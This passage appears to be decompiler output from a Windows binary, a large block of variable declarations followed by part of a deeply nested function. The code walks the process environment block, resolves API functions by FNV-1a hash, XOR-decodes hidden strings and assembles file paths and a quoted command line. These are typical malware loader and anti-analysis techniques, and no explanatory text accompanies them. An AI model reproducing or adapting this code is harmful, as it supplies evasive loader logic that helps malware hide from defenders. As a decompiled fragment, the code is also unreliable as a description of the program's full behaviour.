				signed int _v1284;
				intOrPtr _v1288;
				intOrPtr _v1292;
				intOrPtr _v1296;
				intOrPtr* _v1300;
				intOrPtr _v1304;
				char _v1308;
				intOrPtr* _v1312;
				char _v1316;
				intOrPtr* _v1320;
				intOrPtr _v1324;
				intOrPtr _v1328;
				char* _v1332;
				signed short* _v1336;
				char* _v1340;
				short* _v1344;
				char* _v1348;
				short* _v1352;
				char _v1356;
				intOrPtr _v1360;
				intOrPtr _v1364;
				intOrPtr* _v1368;
				intOrPtr _v1372;
				signed int _v1376;
				intOrPtr* _v1380;
				signed int _v1384;
				intOrPtr _v1388;
				intOrPtr _v1392;
				intOrPtr _v1396;
				intOrPtr* _v1400;
				intOrPtr _v1404;
				char _v1408;
				intOrPtr* _v1412;
				char _v1416;
				intOrPtr* _v1420;
				intOrPtr _v1424;
				intOrPtr _v1428;
				intOrPtr _v1432;
				intOrPtr _v1436;
				intOrPtr* _v1440;
				intOrPtr _v1444;
				signed int _v1448;
				intOrPtr* _v1452;
				signed int _v1456;
				intOrPtr _v1460;
				intOrPtr _v1464;
				intOrPtr _v1468;
				intOrPtr* _v1472;
				intOrPtr _v1476;
				char _v1480;
				intOrPtr* _v1484;
				char _v1488;
				intOrPtr* _v1492;
				intOrPtr _v1496;
				intOrPtr _v1500;
				intOrPtr _v1504;
				intOrPtr _v1508;
				intOrPtr* _v1512;
				intOrPtr _v1516;
				signed int _v1520;
				intOrPtr* _v1524;
				signed int _v1528;
				intOrPtr _v1532;
				intOrPtr _v1536;
				intOrPtr _v1540;
				intOrPtr* _v1544;
				intOrPtr _v1548;
				char _v1552;
				intOrPtr* _v1556;
				char _v1560;
				intOrPtr* _v1564;
				intOrPtr _v1568;
				intOrPtr _v1572;
				intOrPtr _v1576;
				intOrPtr _v1580;
				intOrPtr* _v1584;
				intOrPtr _v1588;
				signed int _v1592;
				intOrPtr* _v1596;
				signed int _v1600;
				intOrPtr _v1604;
				intOrPtr _v1608;
				intOrPtr _v1612;
				intOrPtr* _v1616;
				intOrPtr _v1620;
				char* _v1624;
				intOrPtr* _v1628;
				char _v1632;
				intOrPtr* _v1636;
				intOrPtr _v1640;
				intOrPtr _v1644;
				signed char* _v1648;
				signed short* _v1652;
				signed char* _v1656;
				short* _v1660;
				signed char* _v1664;
				short* _v1668;
				signed char* _v1672;
				signed char* _v1676;
				signed short* _v1680;
				signed char* _v1684;
				short* _v1688;
				signed char* _v1692;
				short* _v1696;
				signed char* _v1700;
				char* _v1704;
				signed short* _v1708;
				char* _v1712;
				short* _v1716;
				char* _v1720;
				short* _v1724;
				char _v1728;
				intOrPtr _v1732;
				intOrPtr _v1736;
				intOrPtr* _v1740;
				intOrPtr _v1744;
				signed int _v1748;
				intOrPtr* _v1752;
				signed int _v1756;
				intOrPtr _v1760;
				intOrPtr _v1764;
				intOrPtr _v1768;
				intOrPtr* _v1772;
				intOrPtr _v1776;
				char _v1780;
				intOrPtr* _v1784;
				char _v1788;
				intOrPtr* _v1792;
				intOrPtr _v1796;
				intOrPtr _v1800;
				char* _v1804;
				signed short* _v1808;
				char* _v1812;
				short* _v1816;
				char* _v1820;
				short* _v1824;
				char _v1828;
				intOrPtr _v1832;
				intOrPtr _v1836;
				intOrPtr* _v1840;
				intOrPtr _v1844;
				signed int _v1848;
				intOrPtr* _v1852;
				signed int _v1856;
				intOrPtr _v1860;
				intOrPtr _v1864;
				intOrPtr _v1868;
				intOrPtr* _v1872;
				intOrPtr _v1876;
				char _v1880;
				intOrPtr* _v1884;
				char _v1888;
				intOrPtr* _v1892;
				intOrPtr _v1896;
				intOrPtr _v1900;
				intOrPtr _v1904;
				intOrPtr _v1908;
				intOrPtr* _v1912;
				intOrPtr _v1916;
				signed int _v1920;
				intOrPtr* _v1924;
				signed int _v1928;
				intOrPtr _v1932;
				intOrPtr _v1936;
				intOrPtr _v1940;
				intOrPtr* _v1944;
				intOrPtr _v1948;
				char _v1952;
				intOrPtr* _v1956;
				char _v1960;
				intOrPtr* _v1964;
				intOrPtr _v1968;
				intOrPtr _v1972;
				intOrPtr _v1976;
				intOrPtr _v1980;
				intOrPtr* _v1984;
				intOrPtr _v1988;
				signed int _v1992;
				intOrPtr* _v1996;
				signed int _v2000;
				intOrPtr _v2004;
				intOrPtr _v2008;
				intOrPtr _v2012;
				intOrPtr* _v2016;
				intOrPtr _v2020;
				char _v2024;
				intOrPtr* _v2028;
				char _v2032;
				intOrPtr* _v2036;
				intOrPtr _v2040;
				intOrPtr _v2044;
				intOrPtr _v2048;
				intOrPtr _v2052;
				intOrPtr* _v2056;
				intOrPtr _v2060;
				signed int _v2064;
				intOrPtr* _v2068;
				signed int _v2072;
				intOrPtr _v2076;
				intOrPtr _v2080;
				intOrPtr _v2084;
				intOrPtr* _v2088;
				intOrPtr _v2092;
				char* _v2096;
				intOrPtr* _v2100;
				char _v2104;
				intOrPtr* _v2108;
				intOrPtr _v2112;
				intOrPtr _v2116;
				signed char* _v2120;
				signed short* _v2124;
				signed char* _v2128;
				short* _v2132;
				signed char* _v2136;
				short* _v2140;
				signed char* _v2144;
				signed char* _v2148;
				signed short* _v2152;
				signed char* _v2156;
				short* _v2160;
				signed char* _v2164;
				short* _v2168;
				signed char* _v2172;
				intOrPtr _v2176;
				intOrPtr _v2180;
				intOrPtr _v2184;
				intOrPtr _v2188;
				intOrPtr _v2192;
				intOrPtr _v2196;
				intOrPtr _v2200;
				intOrPtr _v2204;
				intOrPtr _v2208;
				intOrPtr _v2212;
				intOrPtr _v2216;
				intOrPtr _v2220;
				intOrPtr _v2224;
				intOrPtr _v2228;
				intOrPtr _v2232;
				intOrPtr _v2236;
				intOrPtr _v2240;
				intOrPtr _v2244;
				intOrPtr _v2248;
				intOrPtr _v2252;
				intOrPtr _v2256;
				intOrPtr _v2260;
				intOrPtr _v2264;
				intOrPtr _v2268;
				intOrPtr _v2272;
				intOrPtr _v2276;
				intOrPtr _v2280;
				intOrPtr _v2284;
				signed char* _v2288;
				signed short* _v2292;
				signed char* _v2296;
				short* _v2300;
				signed char* _v2304;
				short* _v2308;
				signed char* _v2312;
				signed char* _v2316;
				intOrPtr _v2320;
				signed char* _v2324;
				signed short* _v2328;
				signed char* _v2332;
				short* _v2336;
				signed char* _v2340;
				short* _v2344;
				signed char* _v2348;
				signed char* _v2352;
				intOrPtr _v2356;
				signed char* _v2360;
				signed short* _v2364;
				signed char* _v2368;
				short* _v2372;
				intOrPtr _v2376;
				signed char _v2380;
				char* _v2384;
				signed char* _v2388;
				signed char* _v2392;
				char _v2396;
				signed int _v2400;
				signed char _v2404;
				char* _v2408;
				signed char* _v2412;
				signed char* _v2416;
				char _v2420;
				intOrPtr _v2424;
				signed int _v2428;
				signed int _v2432;
				signed int _v2436;
				signed int _v2440;
				signed int _v2444;
				intOrPtr _v2448;
				intOrPtr _v2452;
				intOrPtr _v2456;
				intOrPtr _v2460;
				intOrPtr _v2464;
				intOrPtr _v2468;
				intOrPtr _v2472;
				intOrPtr _v2476;
				char _v2500;
				void _v2502;
				char _v2526;
				void _v2528;
				char _v2562;
				char _v2606;
				char _v2650;
				char _v2694;
				char _v2748;
				char _v2812;
				char _v2876;
				char _v2944;
				char _v3012;
				char _v3080;
				char _v4120;
				char _v5160;
				char _v9260;
				char _v10300;
				intOrPtr _t2263;
				intOrPtr _t2279;
				intOrPtr _t2302;
				intOrPtr _t2759;
				intOrPtr _t2773;
				intOrPtr _t2805;
				intOrPtr _t2888;
				intOrPtr _t3033;
				intOrPtr _t3059;
				intOrPtr _t3262;
				intOrPtr _t3289;
				intOrPtr _t3333;
				intOrPtr _t3347;
				intOrPtr _t3472;
				intOrPtr _t3493;
				intOrPtr _t3519;

				E6DADA6C0(0x2838);
				E6DA9AA70( &_v2944, 0, 0x44);
				E6DA9AA70( &_v3012, 0, 0x44);
				E6DA9AA70( &_v3080, 0, 0x44);
				_v19 = 0;
				_v2320 = E6DA91FC0(L"Kernel32.dll", 0);
				_v144 = E6DA92800( &_v19,  &_v2562);
				_v140 = 0;
				while(_v140 < 0xf) {
					_v2288 =  &(_v144[2]);
					_v2292 = _v2288 + _v140 * 2;
					_v662 =  *_v2292 & 0x0000ffff ^  *_v144;
					_v2296 =  &(_v144[2]);
					_v2300 = _v2296 + _v140 * 2;
					 *_v2300 = _v662;
					_v140 = _v140 + 1;
				}
				_v2304 =  &(_v144[2]);
				_v2308 = _v2304 + (0xf << 1);
				 *_v2308 = 0;
				_v2312 =  &(_v144[2]);
				_v2316 = _v2312;
				_v2320(_v2316,  &_v4120, 0x410);
				_v20 = 0;
				_v2356 = E6DA91FC0(L"Kernel32.dll", 0);
				_v152 = E6DA94700( &_v20,  &_v2748);
				_v148 = 0;
				while(_v148 < 0x19) {
					_v2324 =  &(_v152[2]);
					_v2328 = _v2324 + _v148 * 2;
					_v664 =  *_v2328 & 0x0000ffff ^  *_v152;
					_v2332 =  &(_v152[2]);
					_v2336 = _v2332 + _v148 * 2;
					 *_v2336 = _v664;
					_v148 = _v148 + 1;
				}
				_v2340 =  &(_v152[2]);
				_v2344 = _v2340 + (0x19 << 1);
				 *_v2344 = 0;
				_v2348 =  &(_v152[2]);
				_v2352 = _v2348;
				_v2356(_v2352,  &_v10300, 0x410);
				_v21 = 0;
				_v912 = E6DA91FC0(L"Kernel32.dll", 0);
				_v160 = E6DA92EE0( &_v21,  &_v2606);
				_v156 = 0;
				while(_v156 < 0x14) {
					_v2360 =  &(_v160[2]);
					_v2364 = _v2360 + _v156 * 2;
					_v666 =  *_v2364 & 0x0000ffff ^  *_v160;
					_v2368 =  &(_v160[2]);
					_v2372 = _v2368 + _v156 * 2;
					 *_v2372 = _v666;
					_v156 = _v156 + 1;
				}
				_v896 =  &(_v160[2]);
				_v900 = _v896 + (0x14 << 1);
				 *_v900 = 0;
				_v904 =  &(_v160[2]);
				_v908 = _v904;
				_v912(_v908,  &_v5160, 0x410);
				_v964 =  &_v10300;
				_v972 =  &_v4120;
				_v448 = _v2448;
				_v916 =  *[fs:0x30];
				_v920 =  *((intOrPtr*)(_v916 + 0xc));
				_v924 =  *((intOrPtr*)(_v920 + 0xc));
				_v444 = _v924;
				do {
					_v220 =  *((intOrPtr*)(_v444 + 0x18));
					_v280 = _v220;
					_v928 = _v220 +  *((intOrPtr*)(_v220 + 0x3c));
					_t2759 = _v928;
					_v2180 =  *((intOrPtr*)(_t2759 + 0x78));
					_v2176 =  *((intOrPtr*)(_t2759 + 0x7c));
					_v276 = _v220 + _v2180;
					_v272 = _v2176;
					if(_v276 == _v280) {
						_v752 = 0;
					} else {
						_v752 = 1;
					}
					_v22 = _v752;
					if((_v22 & 0x000000ff) != 0) {
						_v164 =  *((intOrPtr*)(_v276 + 0x18));
						while(1) {
							_v932 = _v164;
							_v164 = _v164 - 1;
							if(_v932 == 0) {
								goto L26;
							}
							_v936 = _v280 +  *((intOrPtr*)(_v280 +  *((intOrPtr*)(_v276 + 0x20)) + _v164 * 4));
							_v436 = _v936;
							_v440 = 0x811c9dc5;
							while(1) {
								_v23 =  *_v436;
								_v436 = _v436 + 1;
								_v5 = _v23;
								if(_v5 == 0) {
									break;
								}
								L22:
								_v440 = (_v5 ^ _v440) * 0x1000193;
							}
							_v940 = _v440;
							if(_v940 != 0x411c4d3) {
								continue;
							} else {
								_v948 = _v280 +  *((intOrPtr*)(_v276 + 0x1c));
								_v944 = _v280 +  *((intOrPtr*)(_v276 + 0x24));
								_v952 = _v280 +  *((intOrPtr*)(_v948 + ( *(_v944 + _v164 * 2) & 0x0000ffff) * 4));
								_v448 = _v952;
								L28:
								_v968 =  &_v964;
								_v980 =  *_v968;
								_v976 =  &_v972;
								_v984 =  *_v976;
								_v448(_v984, _v980);
								_v1036 = 0;
								_v1044 =  &_v4120;
								_v464 = _v2452;
								_v988 =  *[fs:0x30];
								_v992 =  *((intOrPtr*)(_v988 + 0xc));
								_v996 =  *((intOrPtr*)(_v992 + 0xc));
								_v460 = _v996;
								do {
									_v224 =  *((intOrPtr*)(_v460 + 0x18));
									_v292 = _v224;
									_v1000 = _v224 +  *((intOrPtr*)(_v224 + 0x3c));
									_t2773 = _v1000;
									_v2188 =  *((intOrPtr*)(_t2773 + 0x78));
									_v2184 =  *((intOrPtr*)(_t2773 + 0x7c));
									_v288 = _v224 + _v2188;
									_v284 = _v2184;
									if(_v288 == _v292) {
										_v736 = 0;
									} else {
										_v736 = 1;
									}
									_v25 = _v736;
									if((_v25 & 0x000000ff) != 0) {
										_v168 =  *((intOrPtr*)(_v288 + 0x18));
										while(1) {
											_v1004 = _v168;
											_v168 = _v168 - 1;
											if(_v1004 == 0) {
												goto L42;
											}
											_v1008 = _v292 +  *((intOrPtr*)(_v292 +  *((intOrPtr*)(_v288 + 0x20)) + _v168 * 4));
											_v452 = _v1008;
											_v456 = 0x811c9dc5;
											while(1) {
												_v26 =  *_v452;
												_v452 = _v452 + 1;
												_v6 = _v26;
												if(_v6 == 0) {
													break;
												}
												L38:
												_v456 = (_v6 ^ _v456) * 0x1000193;
											}
											_v1012 = _v456;
											if(_v1012 != 0xc6c9aef5) {
												continue;
											} else {
												_v1020 = _v292 +  *((intOrPtr*)(_v288 + 0x1c));
												_v1016 = _v292 +  *((intOrPtr*)(_v288 + 0x24));
												_v1024 = _v292 +  *((intOrPtr*)(_v1020 + ( *(_v1016 + _v168 * 2) & 0x0000ffff) * 4));
												_v464 = _v1024;
												L44:
												_v1040 =  &_v1036;
												_v1052 =  *_v1040;
												_v1048 =  &_v1044;
												_v1056 =  *_v1048;
												_push(_v1052);
												_push(_v1056);
												if(_v464() == 0) {
													return 0;
												}
												_v1108 =  &_v5160;
												_v1116 =  &_v4120;
												_v480 = _v2456;
												_v1060 =  *[fs:0x30];
												_v1064 =  *((intOrPtr*)(_v1060 + 0xc));
												_v1068 =  *((intOrPtr*)(_v1064 + 0xc));
												_v476 = _v1068;
												do {
													_v228 =  *((intOrPtr*)(_v476 + 0x18));
													_v304 = _v228;
													_v1072 = _v228 +  *((intOrPtr*)(_v228 + 0x3c));
													_t3262 = _v1072;
													_v2196 =  *((intOrPtr*)(_t3262 + 0x78));
													_v2192 =  *((intOrPtr*)(_t3262 + 0x7c));
													_v300 = _v228 + _v2196;
													_v296 = _v2192;
													if(_v300 == _v304) {
														_v740 = 0;
													} else {
														_v740 = 1;
													}
													_v28 = _v740;
													if((_v28 & 0x000000ff) != 0) {
														_v172 =  *((intOrPtr*)(_v300 + 0x18));
														while(1) {
															_v1076 = _v172;
															_v172 = _v172 - 1;
															if(_v1076 == 0) {
																goto L59;
															}
															_v1080 = _v304 +  *((intOrPtr*)(_v304 +  *((intOrPtr*)(_v300 + 0x20)) + _v172 * 4));
															_v468 = _v1080;
															_v472 = 0x811c9dc5;
															while(1) {
																_v29 =  *_v468;
																_v468 = _v468 + 1;
																_v7 = _v29;
																if(_v7 == 0) {
																	break;
																}
																L55:
																_v472 = (_v7 ^ _v472) * 0x1000193;
															}
															_v1084 = _v472;
															if(_v1084 != 0x411c4d3) {
																continue;
															} else {
																_v1092 = _v304 +  *((intOrPtr*)(_v300 + 0x1c));
																_v1088 = _v304 +  *((intOrPtr*)(_v300 + 0x24));
																_v1096 = _v304 +  *((intOrPtr*)(_v1092 + ( *(_v1088 + _v172 * 2) & 0x0000ffff) * 4));
																_v480 = _v1096;
																L61:
																_v1112 =  &_v1108;
																_v1124 =  *_v1112;
																_v1120 =  &_v1116;
																_v1128 =  *_v1120;
																_v480(_v1128, _v1124);
																_v425 = 0;
																_v692 = 0x11;
																_v691 = 0;
																_v690 = 0x3f;
																_v688 = 0x7f;
																_v686 = 0x7d;
																_v684 = 0x62;
																_v682 = 0;
																_v800 = _v692;
																_v796 = _v688;
																_v792 = _v684;
																_v176 = 0;
																while(_v176 < 4) {
																	_v1132 =  &_v798;
																	_v1136 = _v1132 + _v176 * 2;
																	_v668 =  *_v1136 & 0x0000ffff ^ _v800;
																	_v1140 =  &_v798;
																	_v1144 = _v1140 + _v176 * 2;
																	 *_v1144 = _v668;
																	_v176 = _v176 + 1;
																}
																_v1148 =  &_v798;
																_v1152 = (4 << 1) + _v1148;
																 *_v1152 = 0;
																_v1156 =  &_v798;
																_v1208 = _v1156;
																_v1216 =  &_v4120;
																_v496 = _v2460;
																_v1160 =  *[fs:0x30];
																_v1164 =  *((intOrPtr*)(_v1160 + 0xc));
																_v1168 =  *((intOrPtr*)(_v1164 + 0xc));
																_v492 = _v1168;
																do {
																	_v232 =  *((intOrPtr*)(_v492 + 0x18));
																	_v316 = _v232;
																	_v1172 = _v232 +  *((intOrPtr*)(_v232 + 0x3c));
																	_t2805 = _v1172;
																	_v2204 =  *((intOrPtr*)(_t2805 + 0x78));
																	_v2200 =  *((intOrPtr*)(_t2805 + 0x7c));
																	_v312 = _v232 + _v2204;
																	_v308 = _v2200;
																	if(_v312 == _v316) {
																		_v744 = 0;
																	} else {
																		_v744 = 1;
																	}
																	_v31 = _v744;
																	if((_v31 & 0x000000ff) != 0) {
																		_v180 =  *((intOrPtr*)(_v312 + 0x18));
																		while(1) {
																			_v1176 = _v180;
																			_v180 = _v180 - 1;
																			if(_v1176 == 0) {
																				goto L79;
																			}
																			_v1180 = _v316 +  *((intOrPtr*)(_v316 +  *((intOrPtr*)(_v312 + 0x20)) + _v180 * 4));
																			_v484 = _v1180;
																			_v488 = 0x811c9dc5;
																			while(1) {
																				_v32 =  *_v484;
																				_v484 = _v484 + 1;
																				_v8 = _v32;
																				if(_v8 == 0) {
																					break;
																				}
																				L75:
																				_v488 = (_v8 ^ _v488) * 0x1000193;
																			}
																			_v1184 = _v488;
																			if(_v1184 != 0x411c4d3) {
																				continue;
																			} else {
																				_v1192 = _v316 +  *((intOrPtr*)(_v312 + 0x1c));
																				_v1188 = _v316 +  *((intOrPtr*)(_v312 + 0x24));
																				_v1196 = _v316 +  *((intOrPtr*)(_v1192 + ( *(_v1188 + _v180 * 2) & 0x0000ffff) * 4));
																				_v496 = _v1196;
																				L81:
																				_v1212 =  &_v1208;
																				_v1224 =  *_v1212;
																				_v1220 =  &_v1216;
																				_v1228 =  *_v1220;
																				_v496(_v1228, _v1224);
																				_t3289 =  *0x6daf4a7c; // 0x6daf4ae8
																				if(E6DA9F9B0(_t3289,  &_v4120) == 0) {
																					_t2263 =  *0x6daf4a90; // 0x6daf4b2c
																					if(E6DA9F9B0(_t2263,  &_v4120) == 0) {
																						return 0;
																					}
																					_v659 = 0;
																					_v732 = 0x5c;
																					_v731 = 0;
																					_v730 = 0x71;
																					_v728 = 0x32;
																					_v726 = 0x7c;
																					_v724 = 0x71;
																					_v722 = 0x35;
																					_v720 = 0x66;
																					_v718 = 0x7e;
																					_v716 = 0;
																					_v892 = _v732;
																					_v888 = _v728;
																					_v884 = _v724;
																					_v880 = _v720;
																					_v876 = _v716;
																					_v96 = 0;
																					while(_v96 < 7) {
																						_v1704 =  &_v890;
																						_v1708 = _v1704 + _v96 * 2;
																						_v678 =  *_v1708 & 0x0000ffff ^ _v892;
																						_v1712 =  &_v890;
																						_v1716 = _v1712 + _v96 * 2;
																						 *_v1716 = _v678;
																						_v96 = _v96 + 1;
																					}
																					_v1720 =  &_v890;
																					_v1724 = (7 << 1) + _v1720;
																					 *_v1724 = 0;
																					_v1728 =  &_v890;
																					_v1780 = _v1728;
																					_v1788 =  &_v9260;
																					_v592 = _v2428;
																					_v1732 =  *[fs:0x30];
																					_v1736 =  *((intOrPtr*)(_v1732 + 0xc));
																					_v1740 =  *((intOrPtr*)(_v1736 + 0xc));
																					_v588 = _v1740;
																					do {
																						_v256 =  *((intOrPtr*)(_v588 + 0x18));
																						_v376 = _v256;
																						_v1744 = _v256 +  *((intOrPtr*)(_v256 + 0x3c));
																						_t2279 = _v1744;
																						_v2252 =  *((intOrPtr*)(_t2279 + 0x78));
																						_v2248 =  *((intOrPtr*)(_t2279 + 0x7c));
																						_v372 = _v256 + _v2252;
																						_v368 = _v2248;
																						if(_v372 == _v376) {
																							_v772 = 0;
																						} else {
																							_v772 = 1;
																						}
																						_v51 = _v772;
																						if((_v51 & 0x000000ff) == 0) {
																							goto L198;
																						}
																						_v100 =  *((intOrPtr*)(_v372 + 0x18));
																						while(1) {
																							_v1748 = _v100;
																							_v100 = _v100 - 1;
																							if(_v1748 == 0) {
																								goto L198;
																							}
																							_v1752 = _v376 +  *((intOrPtr*)(_v376 +  *((intOrPtr*)(_v372 + 0x20)) + _v100 * 4));
																							_v580 = _v1752;
																							_v584 = 0x811c9dc5;
																							while(1) {
																								_v52 =  *_v580;
																								_v580 = _v580 + 1;
																								_v14 = _v52;
																								if(_v14 == 0) {
																									break;
																								}
																								_v584 = (_v14 ^ _v584) * 0x1000193;
																							}
																							_v1756 = _v584;
																							if(_v1756 != 0x7e1a2725) {
																								continue;
																							}
																							_v1764 = _v376 +  *((intOrPtr*)(_v372 + 0x1c));
																							_v1760 = _v376 +  *((intOrPtr*)(_v372 + 0x24));
																							_v1768 = _v376 +  *((intOrPtr*)(_v1764 + ( *(_v1760 + _v100 * 2) & 0x0000ffff) * 4));
																							_v592 = _v1768;
																							L200:
																							_v1784 =  &_v1780;
																							_v1796 =  *_v1784;
																							_v1792 =  &_v1788;
																							_v1800 =  *_v1792;
																							_v592(_v1800, _v1796);
																							_v660 = 0;
																							_v856 = 0x1f;
																							_v855 = 0;
																							_v854 = 0x4a;
																							_v852 = 0x6f;
																							_v850 = 0x7b;
																							_v848 = 0x7e;
																							_v846 = 0x6b;
																							_v844 = 0x7a;
																							_v842 = 0x43e;
																							_v840 = 0x77;
																							_v838 = 0x7a;
																							_v836 = 0x7c;
																							_v834 = 0x74;
																							_v832 = 0;
																							memcpy( &_v2528,  &_v856, 6 << 2);
																							asm("movsw");
																							_v104 = 0;
																							while(_v104 < 0xb) {
																								_v1804 =  &_v2526;
																								_v1808 = _v1804 + _v104 * 2;
																								_v680 =  *_v1808 & 0x0000ffff ^ _v2528;
																								_v1812 =  &_v2526;
																								_v1816 = _v1812 + _v104 * 2;
																								 *_v1816 = _v680;
																								_v104 = _v104 + 1;
																							}
																							_v1820 =  &_v2526;
																							_v1824 = (0xb << 1) + _v1820;
																							 *_v1824 = 0;
																							_v1828 =  &_v2526;
																							_v1880 = _v1828;
																							_v1888 =  &_v9260;
																							_v608 = _v2432;
																							_v1832 =  *[fs:0x30];
																							_v1836 =  *((intOrPtr*)(_v1832 + 0xc));
																							_v1840 =  *((intOrPtr*)(_v1836 + 0xc));
																							_v604 = _v1840;
																							do {
																								_v208 =  *((intOrPtr*)(_v604 + 0x18));
																								_v388 = _v208;
																								_v1844 = _v208 +  *((intOrPtr*)(_v208 + 0x3c));
																								_t2302 = _v1844;
																								_v2260 =  *((intOrPtr*)(_t2302 + 0x78));
																								_v2256 =  *((intOrPtr*)(_t2302 + 0x7c));
																								_v384 = _v208 + _v2260;
																								_v380 = _v2256;
																								if(_v384 == _v388) {
																									_v776 = 0;
																								} else {
																									_v776 = 1;
																								}
																								_v54 = _v776;
																								if((_v54 & 0x000000ff) == 0) {
																									goto L218;
																								}
																								_v108 =  *((intOrPtr*)(_v384 + 0x18));
																								while(1) {
																									_v1848 = _v108;
																									_v108 = _v108 - 1;
																									if(_v1848 == 0) {
																										goto L218;
																									}
																									_v1852 = _v388 +  *((intOrPtr*)(_v388 +  *((intOrPtr*)(_v384 + 0x20)) + _v108 * 4));
																									_v596 = _v1852;
																									_v600 = 0x811c9dc5;
																									while(1) {
																										_v55 =  *_v596;
																										_v596 = _v596 + 1;
																										_v15 = _v55;
																										if(_v15 == 0) {
																											break;
																										}
																										_v600 = (_v15 ^ _v600) * 0x1000193;
																									}
																									_v1856 = _v600;
																									if(_v1856 != 0x411c4d3) {
																										continue;
																									}
																									_v1864 = _v388 +  *((intOrPtr*)(_v384 + 0x1c));
																									_v1860 = _v388 +  *((intOrPtr*)(_v384 + 0x24));
																									_v1868 = _v388 +  *((intOrPtr*)(_v1864 + ( *(_v1860 + _v108 * 2) & 0x0000ffff) * 4));
																									_v608 = _v1868;
																									L220:
																									_v1884 =  &_v1880;
																									_v1896 =  *_v1884;
																									_v1892 =  &_v1888;
																									_v1900 =  *_v1892;
																									_v608(_v1900, _v1896);
																									_v1952 = L"\" \"";
																									_v1960 =  &_v9260;
																									_v624 = _v2436;
																									_v1904 =  *[fs:0x30];
																									_v1908 =  *((intOrPtr*)(_v1904 + 0xc));
																									_v1912 =  *((intOrPtr*)(_v1908 + 0xc));
																									_v620 = _v1912;
																									do {
																										_v212 =  *((intOrPtr*)(_v620 + 0x18));
																										_v400 = _v212;
																										_v1916 = _v212 +  *((intOrPtr*)(_v212 + 0x3c));
																										_t3333 = _v1916;
																										_v2268 =  *((intOrPtr*)(_t3333 + 0x78));
																										_v2264 =  *((intOrPtr*)(_t3333 + 0x7c));
																										_v396 = _v212 + _v2268;
																										_v392 = _v2264;
																										if(_v396 == _v400) {
																											_v780 = 0;
																										} else {
																											_v780 = 1;
																										}
																										_v57 = _v780;
																										if((_v57 & 0x000000ff) == 0) {
																											goto L234;
																										}
																										_v112 =  *((intOrPtr*)(_v396 + 0x18));
																										while(1) {
																											_v1920 = _v112;
																											_v112 = _v112 - 1;
																											if(_v1920 == 0) {
																												goto L234;
																											}
																											_v1924 = _v400 +  *((intOrPtr*)(_v400 +  *((intOrPtr*)(_v396 + 0x20)) + _v112 * 4));
																											_v612 = _v1924;
																											_v616 = 0x811c9dc5;
																											while(1) {
																												_v58 =  *_v612;
																												_v612 = _v612 + 1;
																												_v16 = _v58;
																												if(_v16 == 0) {
																													break;
																												}
																												_v616 = (_v16 ^ _v616) * 0x1000193;
																											}
																											_v1928 = _v616;
																											if(_v1928 != 0x411c4d3) {
																												continue;
																											}
																											_v1936 = _v400 +  *((intOrPtr*)(_v396 + 0x1c));
																											_v1932 = _v400 +  *((intOrPtr*)(_v396 + 0x24));
																											_v1940 = _v400 +  *((intOrPtr*)(_v1936 + ( *(_v1932 + _v112 * 2) & 0x0000ffff) * 4));
																											_v624 = _v1940;
																											L236:
																											_v1956 =  &_v1952;
																											_v1968 =  *_v1956;
																											_v1964 =  &_v1960;
																											_v1972 =  *_v1964;
																											_v624(_v1972, _v1968);
																											_v2024 =  &_v4120;
																											_v2032 =  &_v9260;
																											_v640 = _v2440;
																											_v1976 =  *[fs:0x30];
																											_v1980 =  *((intOrPtr*)(_v1976 + 0xc));
																											_v1984 =  *((intOrPtr*)(_v1980 + 0xc));
																											_v636 = _v1984;
																											do {
																												_v216 =  *((intOrPtr*)(_v636 + 0x18));
																												_v412 = _v216;
																												_v1988 = _v216 +  *((intOrPtr*)(_v216 + 0x3c));
																												_t3347 = _v1988;
																												_v2276 =  *((intOrPtr*)(_t3347 + 0x78));
																												_v2272 =  *((intOrPtr*)(_t3347 + 0x7c));
																												_v408 = _v216 + _v2276;
																												_v404 = _v2272;
																												if(_v408 == _v412) {
																													_v784 = 0;
																												} else {
																													_v784 = 1;
																												}
																												_v60 = _v784;
																												if((_v60 & 0x000000ff) == 0) {
																													goto L250;
																												}
																												_v116 =  *((intOrPtr*)(_v408 + 0x18));
																												while(1) {
																													_v1992 = _v116;
																													_v116 = _v116 - 1;
																													if(_v1992 == 0) {
																														goto L250;
																													}
																													_v1996 = _v412 +  *((intOrPtr*)(_v412 +  *((intOrPtr*)(_v408 + 0x20)) + _v116 * 4));
																													_v628 = _v1996;
																													_v632 = 0x811c9dc5;
																													while(1) {
																														_v61 =  *_v628;
																														_v628 = _v628 + 1;
																														_v17 = _v61;
																														if(_v17 == 0) {
																															break;
																														}
																														_v632 = (_v17 ^ _v632) * 0x1000193;
																													}
																													_v2000 = _v632;
																													if(_v2000 != 0x411c4d3) {
																														continue;
																													}
																													_v2008 = _v412 +  *((intOrPtr*)(_v408 + 0x1c));
																													_v2004 = _v412 +  *((intOrPtr*)(_v408 + 0x24));
																													_v2012 = _v412 +  *((intOrPtr*)(_v2008 + ( *(_v2004 + _v116 * 2) & 0x0000ffff) * 4));
																													_v640 = _v2012;
																													L252:
																													_v2028 =  &_v2024;
																													_v2040 =  *_v2028;
																													_v2036 =  &_v2032;
																													_v2044 =  *_v2036;
																													_v640(_v2044, _v2040);
																													_v2096 = "\"";
																													_v2104 =  &_v9260;
																													_v656 = _v2444;
																													_v2048 =  *[fs:0x30];
																													_v2052 =  *((intOrPtr*)(_v2048 + 0xc));
																													_v2056 =  *((intOrPtr*)(_v2052 + 0xc));
																													_v652 = _v2056;
																													do {
																														_v204 =  *((intOrPtr*)(_v652 + 0x18));
																														_v424 = _v204;
																														_v2060 = _v204 +  *((intOrPtr*)(_v204 + 0x3c));
																														_t2888 = _v2060;
																														_v2284 =  *((intOrPtr*)(_t2888 + 0x78));
																														_v2280 =  *((intOrPtr*)(_t2888 + 0x7c));
																														_v420 = _v204 + _v2284;
																														_v416 = _v2280;
																														if(_v420 == _v424) {
																															_v788 = 0;
																														} else {
																															_v788 = 1;
																														}
																														_v63 = _v788;
																														if((_v63 & 0x000000ff) == 0) {
																															goto L266;
																														}
																														_v120 =  *((intOrPtr*)(_v420 + 0x18));
																														while(1) {
																															_v2064 = _v120;
																															_v120 = _v120 - 1;
																															if(_v2064 == 0) {
																																goto L266;
																															}
																															_v2068 = _v424 +  *((intOrPtr*)(_v424 +  *((intOrPtr*)(_v420 + 0x20)) + _v120 * 4));
																															_v644 = _v2068;
																															_v648 = 0x811c9dc5;
																															while(1) {
																																_v64 =  *_v644;
																																_v644 = _v644 + 1;
																																_v18 = _v64;
																																if(_v18 == 0) {
																																	break;
																																}
																																_v648 = (_v18 ^ _v648) * 0x1000193;
																															}
																															_v2072 = _v648;
																															if(_v2072 != 0x411c4d3) {
																																continue;
																															}
